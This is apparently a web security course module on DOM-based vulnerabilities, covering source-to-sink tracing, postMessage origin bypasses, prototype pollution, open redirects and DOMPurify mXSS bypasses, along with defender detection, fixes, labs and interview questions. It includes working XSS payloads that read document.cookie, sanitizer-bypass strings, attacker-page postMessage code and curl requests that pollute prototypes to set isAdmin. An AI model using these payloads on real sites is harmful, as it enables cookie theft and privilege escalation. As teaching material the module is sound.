DOM-based Vulnerabilities
DOM-based vulnerabilities are the class of attacks that execute entirely in the browser’s JavaScript runtime. The data flow is: source (something the attacker controls — location.hash, location.search, document.referrer, postMessage, localStorage) → sink (a function that uses the data in a dangerous way — innerHTML, document.write, eval, Function, setTimeout with string, location, open, fetch URL). When a source flows into a sink without sanitization, the attacker controls the side effect. The browser-side nature of these bugs is what makes them different from reflected/stored XSS (W3): they don’t appear in the HTML response — they fire from JS that runs on a static page. The DOMPurify mXSS family (CVE-2018-20483, CVE-2020-26970) and the postMessage origin-bypass family that powered the 2021 Cryptee and 2022 Polygon wallet hacks are canonical. Prototype pollution, the quietest of the class, produced CVE-2019-10744 (lodash) and CVE-2020-8203 (lodash).
The Core Concept
Section titled “The Core Concept”A DOM XSS flow: an attacker-controllable source flows into a sink. The browser executes the result.
Sources (attacker-controlled, in the victim's browser): location.hash # everything after # — not sent to server location.search # everything after ? location.href # full URL document.referrer # previous page URL document.location # alias of location window.name # cross-tab persistent string postMessage event.data # cross-origin message localStorage / sessionStorage (if attacker can write) IndexedDB (if attacker can write) cookies (via JS)
Sinks (dangerous functions): innerHTML / outerHTML # parse-and-render HTML document.write / writeln # write to document eval / Function / setTimeout(string) / setInterval(string) location / location.href / location.assign / location.replace open # window.open fetch / XMLHttpRequest # URL sink (SSRF from browser) innerText / textContent # mostly safe (no HTML parse) insertAdjacentHTML # parse HTML at position jQuery html() / append() / prepend() React dangerouslySetInnerHTML Angular bypassSecurityTrust*
Source-to-sink chain (DOM XSS): page: https://target/app?#<img src=x onerror=alert(1)> JS: const hash = location.hash.slice(1); document.getElementById('x').innerHTML = hash; // ← SINK Browser parses <img src=x onerror=alert(1)> → fires alert
postMessage chain (cross-origin): page A (target.com): window.addEventListener('message', e => { // missing or weak origin check eval(e.data); }); page B (attacker.com): const w = window.open('https://target.com/app'); w.postMessage('alert(document.cookie)', '*');
Prototype pollution chain (object literal pollution): const obj = {}; JSON.parse('{"__proto__": {"polluted": true}}'); // ← Object.assign / merge // After pollution: any object's .polluted === true // If app reads `obj.someUndefinedConfig` for a path → attacker controls
Open redirect (sink: location): page: https://target/redirect?url=https://attacker.com JS: location = new URL(params.get('url'), window.origin); // Missing: validate that the resulting URL origin is same-originThe defining trait: the page’s HTML is static; the JS executes the payload. No server roundtrip is required.
How It Works
Section titled “How It Works”- Find the sources — open the page, check what’s in
location.hash,location.search,window.name,document.referrer. CheckpostMessageevent listeners. ChecklocalStoragewrites from other tabs. - Find the sinks — read the page’s JS. Look for
innerHTML,outerHTML,insertAdjacentHTML,document.write,eval,Function,setTimeout(string),setInterval(string),location,open,fetchwith a variable URL, jQuery.html(),dangerouslySetInnerHTML,bypassSecurityTrust*. - Trace the data flow — from a source to a sink. Use the browser’s dev tools: set breakpoints, watch the variables, watch the network requests. Use a static analyzer like
semgreporCodeQLfor large codebases. - Confirm the sink is reachable — test with a benign payload (
#x→ check thatxappears in the DOM via the sink). Then escalate to an active payload. - Bypass sanitization — if there’s a sanitizer (DOMPurify, sanitize-html), try mXSS payloads that confuse the parser. If there’s a regex, try parser-differential payloads.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
DOM XSS via location.hash | #<xss> reflected into innerHTML | Easy if source is obvious |
DOM XSS via location.search | Query string reflected into innerHTML | Easy |
DOM XSS via document.referrer | Referer reflected into innerHTML | Medium — depends on Referer shape |
DOM XSS via window.name | Cross-tab window.name reflected | Medium — requires tab navigation |
DOM XSS via jQuery .html() | jQuery selector reflected in html() | Easy |
DOM XSS via jQuery $() selector | $(location.hash) triggers HTML parser | Easy — old jQuery |
| DOM XSS via postMessage | Cross-origin message → innerHTML or eval | Medium — needs origin check |
DOM XSS via SVG <use> | <use href="data:image/svg..."> | Hard — newer vector |
| mXSS (mutation XSS) | DOMPurify bypass via parser confusion (CVE-2018-20483) | Hard — requires deep parser understanding |
| Open redirect | location = params.get('url') — no origin check | Easy |
| DOM-based SSRF | fetch(params.get('url')) — server’s CORS check fails | Medium |
| Prototype pollution (client) | ?__proto__[polluted]=1 → obj.polluted === true | Hard — silent |
| Prototype pollution via postMessage | Cross-origin message contains __proto__ | Hard |
| DOM-based CSRF token leak | fetch('/api/csrf') from attacker page → CORS leak | Medium |
| postMessage origin bypass | Weak origin check: e.origin.endsWith('target.com') | Easy |
| LocalStorage XSS via innerHTML | Stored JSON reflected without sanitization | Medium |
| postMessage + eval | e.data → eval() | Easy |
location.assign open redirect | location.assign(params.get('next')) | Easy |
Hands-On Commands
Section titled “Hands-On Commands”# Test for DOM XSS — look at the page's JS for location.* → innerHTML# Then trigger with a payload in the URL# Open in browser:# https://target/app#<img src=x onerror=alert(document.cookie)>
# Find DOM XSS sources in the page's JScurl -s https://target/app.js | grep -E 'location\.(hash|search|href)|document\.referrer|window\.name'
# Find sinkscurl -s https://target/app.js | grep -E 'innerHTML|outerHTML|document\.write|eval\(|Function\(|setTimeout\(|setInterval\('
# Trigger the DOM XSS via curl + a headless browser# Use Chrome DevTools Protocol or Playwrightpython3 -c "from playwright.sync_api import sync_playwrightwith sync_playwright() as p: b = p.chromium.launch() page = b.new_page() page.goto('https://target/app#<img src=x onerror=alert(1)>') # Wait for the alert page.on('dialog', lambda d: print('XSS:', d.message) or d.accept()) page.wait_for_timeout(2000) b.close()"
# postMessage probe — open the target, listen for messages# In the browser console:# window.addEventListener('message', e => console.log('from', e.origin, ':', e.data));# Then send a message from another origin (your attacker page):# const w = window.open('https://target/app');# w.postMessage('test', '*');
# postMessage sink — if the page evals e.data:# Attacker page:# <script># const w = window.open('https://target/app');# setTimeout(() => w.postMessage('alert(document.cookie)', '*'), 1000);# </script>
# Bypass postMessage origin check that uses .endsWith or .includes# if (e.origin.endsWith('target.com')) → send from https://attacker-target.com# if (e.origin.includes('target.com')) → same bypass# if (e.origin === 'https://target.com') → no bypass (secure)# if (!e.origin.includes('evil')) → send from https://attacker.com
# Prototype pollution via URL params# https://target/app?__proto__[polluted]=yes# Check in browser console:# ({}).polluted // 'yes' if polluted# Or via JSON body in a fetch:curl -X POST https://target/api/profile \ -H "Content-Type: application/json" \ -d '{"__proto__": {"isAdmin": true}}'
# Then in a separate request:curl -s https://target/api/profile -H "Cookie: ..." | jq .isAdmin# If true, prototype pollution worked
# Open redirect — test if the URL goes to external origincurl -sI "https://target/redirect?url=https://attacker.com" | grep -i locationcurl -sI "https://target/redirect?url=//attacker.com" | grep -i location # protocol-relativecurl -sI "https://target/redirect?url=/\\attacker.com" | grep -i location # backslashcurl -sI "https://target/redirect?url=javascript:alert(1)" | grep -i location
# DOMPurify mXSS test payloads (CVE-2018-20483-class)# Test in browser console after DOMPurify.sanitize(payload):# <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)># <svg><p><style><g title="</style><img src=x onerror=alert(1)>"># <math><mtext><script><img src=x onerror=alert(1)></script></mtext></math>
# Burp Suite DOM Invader — install from BApp Store# Right-click page → DOM Invader → scan# Identifies sources, sinks, and postMessage flows automatically
# nuclei — DOM XSS templates (mostly server-side reflected, but some DOM)nuclei -u https://target -t ~/nuclei-templates/http/vulnerabilities/ -tags dom,xss,postmessage
# ZAP DOM Scan — uses a headless browser to find DOM XSS# ZAP → Active Scan → enable DOM XSS plugin
# Headless Chrome passive scan — run all the page's JS and watch for sinkspython3 -c "from playwright.sync_api import sync_playwrightwith sync_playwright() as p: b = p.chromium.launch() page = b.new_page() sources = [] page.expose_binding('logSource', lambda s, src: sources.append(src)) page.add_init_script(''' const origIH = Element.prototype.innerHTML; Object.defineProperty(Element.prototype, 'innerHTML', { set(v) { if (location.hash.includes(v) || location.search.includes(v)) { window.logSource('innerHTML with ' + v); } origIH.set.call(this, v); }, get() { return origIH.get.call(this); } }); ''') page.goto('https://target/app#test') print('Sources hit:', sources) b.close()"
# Check for source map files — they reveal the original JS, including commentscurl -s https://target/app.js.map | jq .sources# Or:curl -s https://target/app.js | tail -1# Often ends with: //# sourceMappingURL=app.js.mapDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — limited applicability because DOM XSS doesn’t traverse the server. The CRS catches reflected payloads in the request body but cannot see JS-side execution.
Suricata — no DOM XSS SIDs; can match known DOM XSS payloads in request URLs (#<img src=x onerror=alert etc.) [verify].
MITRE ATT&CK T1059.007 — JavaScript (DOM XSS execution). MITRE ATT&CK T1185 — Browser Session Hijacking (DOM XSS to cookie theft). MITRE ATT&CK T1059 — Command and Scripting Interpreter (postMessage → eval).
Wazuh rule 920/31100 — URL fragment containing <, >, script, onerror [verify].
Wazuh decoder for HTTP request — alert on __proto__, constructor, prototype in JSON body [verify].
Defender log signatures:
- JS console errors with attacker payloads in the source — alert on
location.hashcontaining script-like patterns. - CSP report-uri violations reporting DOM XSS attempts —
report-toheader from the browser. - Browser-side telemetry (if available — e.g., Application Performance Monitoring) showing
innerHTMLcalls with payload strings.
Evasion Techniques
Section titled “Evasion Techniques”location.hash-only payloads. The fragment after # is not sent to the server. A DOM XSS payload in # never appears in server logs, WAF rules, or cache key. The attacker distributes a link https://target/app#<xss> and the payload executes purely client-side. Defense: input validation in JS at the source (location.hash).
mXSS (mutation XSS). DOMPurify and similar sanitizers parse the input string into a DOM tree, sanitize, then re-serialize to text. The browser then re-parses the output — but in some cases, the re-parse produces different DOM because of context-dependent parsing rules (e.g., <math> context, <svg> context, table parsing quirks). The browser sees a different DOM than the sanitizer did, and the sanitized output becomes dangerous. CVE-2018-20483-class examples:
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>DOMPurify saw this as safe (the <img> was inside a comment); the browser parsed it as live HTML because of the <math> namespace transition.
Defense: keep DOMPurify up to date; never trust sanitized HTML to be safe in all contexts (use it in a specific known-safe context).
postMessage origin bypass. Common mistakes:
if (e.origin.endsWith('target.com')) // bypassed by attacker-target.comif (e.origin.includes('target.com')) // bypassed by target.com.attacker.comif (e.origin === 'https://target.com') // secure (exact match)if (e.source === window.opener) // secure (bound to a specific window)Defense: exact-string match on e.origin; bind to a specific source window via e.source === expectedWindow.
Prototype pollution via query string. Some URL parsers do deep merge of query params: ?a.b.c=1 becomes {a: {b: {c: 1}}}. If the parser doesn’t block __proto__ as a key, ?__proto__.polluted=true pollutes Object.prototype. After pollution, every plain object’s .polluted === true. If the app reads obj.someConfig for a default that doesn’t exist, the polluted value is used. CVE-2019-10744 in lodash defaultsDeep is the canonical example.
Defense: block __proto__, constructor, prototype as keys in any deep merge; use Object.create(null) for plain objects.
jQuery selector XSS. Old jQuery ($() with HTML strings) auto-parsed HTML. $(location.hash) with #<img src=x onerror=alert(1)> was an XSS in jQuery < 3.5. Defense: upgrade jQuery; never pass user-controlled strings to $().
localStorage→DOM XSS. If an app writes user-controllable data to localStorage and another page reads and renders it without sanitization, the payload persists. Same-origin scripts can write localStorage via XSS; the stored payload then affects all pages that read it. This is the DOM equivalent of stored XSS.
Defense: sanitize on read, not just write; treat localStorage values as untrusted.
window.name cross-tab payload. window.name persists across same-tab navigations (origin changes too). Attacker page sets window.name = '<xss>', navigates the tab to target/app. If the app reads window.name and renders it, XSS fires.
Defense: never read window.name into a sink; treat it as untrusted.
| Evasion | What it bypasses | Defense |
|---|---|---|
location.hash payloads | Server-side WAF | Input validation in JS |
| mXSS | DOMPurify | Keep DOMPurify updated; use known-safe context |
postMessage origin endsWith | Naive origin check | Exact-string match + window source binding |
| Prototype pollution | Object literal defaults | Block __proto__, constructor, prototype keys |
jQuery $() | Old jQuery HTML parse | Upgrade jQuery; never pass user input to $() |
window.name | Origin isolation | Never read window.name to a sink |
⚠️ What caught me: A target had a strict CSP (
script-src 'self') and DOMPurify on every user input. The page reflectedlocation.hashintoinnerHTMLafter running it through DOMPurify. Direct XSS payloads were stripped. The bypass was an mXSS payload that DOMPurify considered safe but the browser parsed as live HTML after the math namespace transition. The payload:<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(document.cookie)>. DOMPurify saw the<img>inside a comment; the browser saw it as live HTML because<math><mtext>re-contextualized the<style>content. CSP didn’t help because the script ran inline (onerroris not blocked byscript-src). Lesson: DOMPurify is only as good as the HTML parser backing it, and HTML parsing is context-dependent. Update DOMPurify frequently, and prefer textContent over innerHTML whenever the content doesn’t need HTML.
Lab Practice
Section titled “Lab Practice”Container: PortSwigger Web Security Academy labs (free, browser-based) cover the full DOM XSS spectrum.
# PortSwigger labs:# - "DOM XSS via location.hash"# - "DOM XSS via web messages (postMessage)"# - "DOM XSS via web messages and JSON.parse"# - "DOM XSS via open redirect"# - "DOM XSS via prototype pollution"# - "DOM XSS via jQuery"# - "DOM clobbering"# - "PostMessage attacks"# https://portswigger.net/web-security/dom-based
# Container alternative: OWASP Juice Shop has DOM XSS challengesdocker run --rm -p 3000:3000 bkimminich/juice-shop# Solve: "DOM XSS" challenge — find the sink, craft the URLObjective: complete at least 3 PortSwigger DOM XSS labs including (1) location.hash → innerHTML, (2) postMessage with weak origin check, and (3) prototype pollution. Document the source, the sink, and the exact bypass.
Expected flag format: flag{dom_xss_or_postmessage_or_prototype_pollution}.
Detection that should fire: CSP report-uri will fire when the onerror handler runs. Browser-side telemetry (if available) will show the innerHTML call with a payload string. For prototype pollution, the application log may show an unexpected default value being read from an object — alert on reads of undefined properties returning values.
Interview Questions
Section titled “Interview Questions”Conceptual: explain why DOM XSS is qualitatively different from reflected XSS. What can a server-side WAF see and not see?
Technical: walk through an mXSS attack against DOMPurify. Why does the parser-context transition (<math> → <style> → <img>) defeat a sanitizer that runs on the same DOM tree?
Scenario: a target’s page listens for postMessage and the origin check is if (e.origin.includes('target.com')) { eval(e.data) }. Describe the full attack chain, the exact origin that bypasses, and the fix.
Compare prototype pollution via URL params, via JSON body, and via postMessage. For each, give the specific deep-merge behavior that creates the pollution path, and the runtime check that prevents it.
What is window.name-based DOM XSS, and why is it more persistent than location.hash-based DOM XSS? What is the defense?
Related Modules
Section titled “Related Modules”→ W3 (XSS) · W19 (Web Cache Poisoning) · W5 (SSRF)